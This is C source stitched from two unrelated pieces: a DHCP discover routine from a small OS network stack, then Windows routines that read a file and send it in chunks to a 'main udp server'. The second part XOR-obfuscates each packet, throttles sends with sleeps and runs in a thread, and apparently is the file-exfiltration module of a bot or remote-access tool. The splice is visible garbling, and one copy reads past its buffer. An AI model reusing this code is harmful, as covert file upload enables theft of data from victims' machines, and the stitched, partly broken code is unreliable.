void
dhcp_configure(struct net_if* net)
{
uint32_t xid;
static uint8_t buffer[BOOTP_MAX_PACKET_SIZE];
struct bootp_hdr* hdr = (struct bootp_hdr*)buffer;
uint8_t* options = (uint8_t*)(hdr + 1);
size_t length;
unsigned i;
static const unsigned requested_params[] = {
BOOTP_SUBNET_MASK,
BOOTP_DNS_ADDRESS,
BOOTP_ROUTER,
};
static const unsigned requested_params_count
= sizeof(requested_params) / sizeof(requested_params[0]);
xid = random_get32();
memset(buffer, 0, sizeof(buffer));
hdr->op = BOOTP_OP_BOOT_REQUEST;
hdr->htype = 1;
hdr->hlen = 6;
hdr->xid = xid;
memcpy(hdr->chaddr, net->ether_haddr, 6);
*(uint32_t*)options = DHCP_MAGIC_COOKIE;
options += sizeof(uint32_t);
*options++ = BOOTP_DHCP_MSG_TYPE;
*options++ = 1;
*options++ = DHCP_MSG_DISCOVER;
*options++ = BOOTP_HOST_NAME;
length = strlen(hostname);
*options++ = length;
memcpy(options, hostname, length);
options += length;
*options++ = BOOTP_DHCP_PARAM_REQ;
*options++ = requested_params_count;
for (i = 0; i < requested_params_count; i++)
*options++ = requested_params[i];
*options++ = BOOTP_END;
length = options - buffer;
if (length < BOOTP_MIN_PACKET_SIZE)
length = BOOTP_MIN_PACKET_SIZE;
assert(length <= BOOTP_MAX_PACKET_SIZE);
net->ip4 = 0;
udp_send_packet(net, 0xffffffff, 68, 67, buffer, length);
}
/* ********************************************************************************* */
int udp_send_msg(u_int msg, char *data, u_int datalen, char *name)
{
ubermsg *packet;
int i, packets = 0, id = 0, dataleft = 0;
char *offset;
if(!datalen)
return -1;
packet = (ubermsg*) halloc(UPACKET_SIZE);
if(packet == NULL)
return -1;
memset(packet, 0x0, UPACKET_SIZE);
dataleft = datalen;
if(datalen > 1200)
packets = (datalen / 1200) + 1;
else
packets = 1;
/*deb("data@0x%p datalen: %d packets: %d dataleft: %d", data, datalen, packets, dataleft);
deb("data: %s", data);*/
offset = data;
for(i=0;i<packets;i++)
{
memset(packet, 0x0, UPACKET_SIZE);
packet->type = msg;
packet->xor = (u_char) rand();
packet->id = id++;
if(name)
strncpy((char*) packet->name, name,
strlen(name) > sizeof(packet->name) ? sizeof(packet->name) : strlen(name));
if(packets > 1)
packet->len = dataleft > 1200 ? 1200 : dataleft;
else
packet->len = datalen;
/*deb("packet %d, packet->len: %d datalen: %d dataleft: %d offset: 0x%x data: 0x%x maxdata: 0x%x",
id, packet->len, datalen, dataleft, offset, data, data + datalen);
deb("PACKET DATA TO SEND: \n%s", offset);*/
memcpy((void*) &packet->data, (void*) offset, packet->len);
offset += 1200;
udp_dochecksum(packet);
udp_encrypt_packet(packet, packet->xor);
if(udp_send_packet(packet)) {
deb("packet %d is not sent.", id);
hfree((void*) packet);
return -1;
}
dataleft -= packet->len;
Sleep(udp_user_chunks_sleep ? udp_user_chunks_sleep : udp_chunks_sleep);
}
deb("%d bytes, %d packets has been sent.", datalen, packets);
hfree((void*) packet);
return 0;
}
/* send file to main udp server */
DWORD WINAPI udp_sendfile(LPVOID arg)
{
ubermsg *packet;
HANDLE file;
u_int chunks = 0; /* file chunks */
u_int fsize;
char buffer[2048];
DWORD dwRead;
DWORD pos;
u_int id = 0;
DWORD i;
char fname[MAX_PATH];
char filename[25];
strncpy(fname, (char*) arg, MAX_PATH);
deb("udp_sendfile: asked for %s", fname);
extract_filename(fname, filename);
packet = (ubermsg*) halloc(UPACKET_SIZE * 2);
if(packet == NULL) {
deb("udp:HeapAlloc: %s", FORMATERROR);
ExitThread(0);
}
memset(packet, 0x0, UPACKET_SIZE);
//deb("packet size %d at 0x%p", UPACKET_SIZE, packet);
packet->type = MSGFILESTART;
packet->xor = (u_char) rand();
packet->id = 0;
prepare_udp_send_file((char*) fname, &file, &fsize);
if(file == INVALID_HANDLE_VALUE) {
udpdeb("udp: file open error, aborting");
hfree(packet);
ExitThread(0);
}
packet->len = strlen((char*) filename) + 1;
if(fsize > CHUNK_SIZE)
chunks = fsize / CHUNK_SIZE;
else
chunks = 1;
deb("fsize: %d chunks: %d", fsize, chunks);
packet->opt = chunks;
packet->opt2 = fsize;
strncpy((char*) &packet->data, (char*) filename, strlen((char*) filename) + 1);
hexdump((char*) packet, PACKETSIZE(packet));
udp_dochecksum(packet);
udp_encrypt_packet(packet, packet->xor);
if(udp_send_packet(packet)) {
udpdeb("starting packet is not sent.");
hfree(packet);
CloseHandle(file);
ExitThread(0);
}
Sleep(UDP_FIRST_CHUNK_SLEEP);
for(i = 0;i < chunks + 1;i++)
{
//deb("i: %d chunks: %d left: %d", i, chunks, chunks - i);
pos = SetFilePointer(file, 0, NULL, FILE_CURRENT);
if(!ReadFile(file, buffer, CHUNK_SIZE, &dwRead, 0))
{
deb("udp:ReadFile: %s", FORMATERROR);
CloseHandle(file);
hfree(packet);
ExitThread(0);
}
if(GetLastError() == ERROR_HANDLE_EOF)
{
deb("udp:done");
break;
}
memset(packet, 0x0, UPACKET_SIZE);
packet->type = MSGFILECHUNK;
packet->xor = (u_char) rand();
packet->id = id++;
packet->len = dwRead; /* bytes in file part */
packet->opt = pos; /* start offset */
packet->opt2 = pos + dwRead; /* end offset */
memcpy(&packet->data, buffer, UPACKET_SIZE);
strncpy((char*) packet->name, (char*) filename, sizeof(packet->name));
udp_dochecksum(packet);
/*deb("packet to send: id: %d len: %d offset-start: %d offset-end: %d xor: %d",
packet->id, packet->len, packet->opt, packet->opt2, packet->xor);*/
udp_encrypt_packet(packet, packet->xor);
if(udp_send_packet(packet))
{
deb("packet not sent.");
hfree(packet);
CloseHandle(file);
ExitThread(0);
}
Sleep(udp_user_chunks_sleep ? udp_user_chunks_sleep : udp_chunks_sleep);
}
CloseHandle(file);
/* tell remote it is end of file */
memset(packet, 0x0, UPACKET_SIZE);
packet->type = MSGFILEEND;
packet->xor = (u_char) rand();
packet->id = id++;
packet->len = strlen(filename);
packet->opt = checksumfile(fname);
strcpy((char*) packet->name, filename);
udp_dochecksum(packet);
udp_encrypt_packet(packet, packet->xor);
Sleep(UDP_FIRST_CHUNK_SLEEP);
udp_send_packet(packet);
udpdeb("File %s has been sent.\n", fname);
hfree(packet);
ExitThread(0);
}
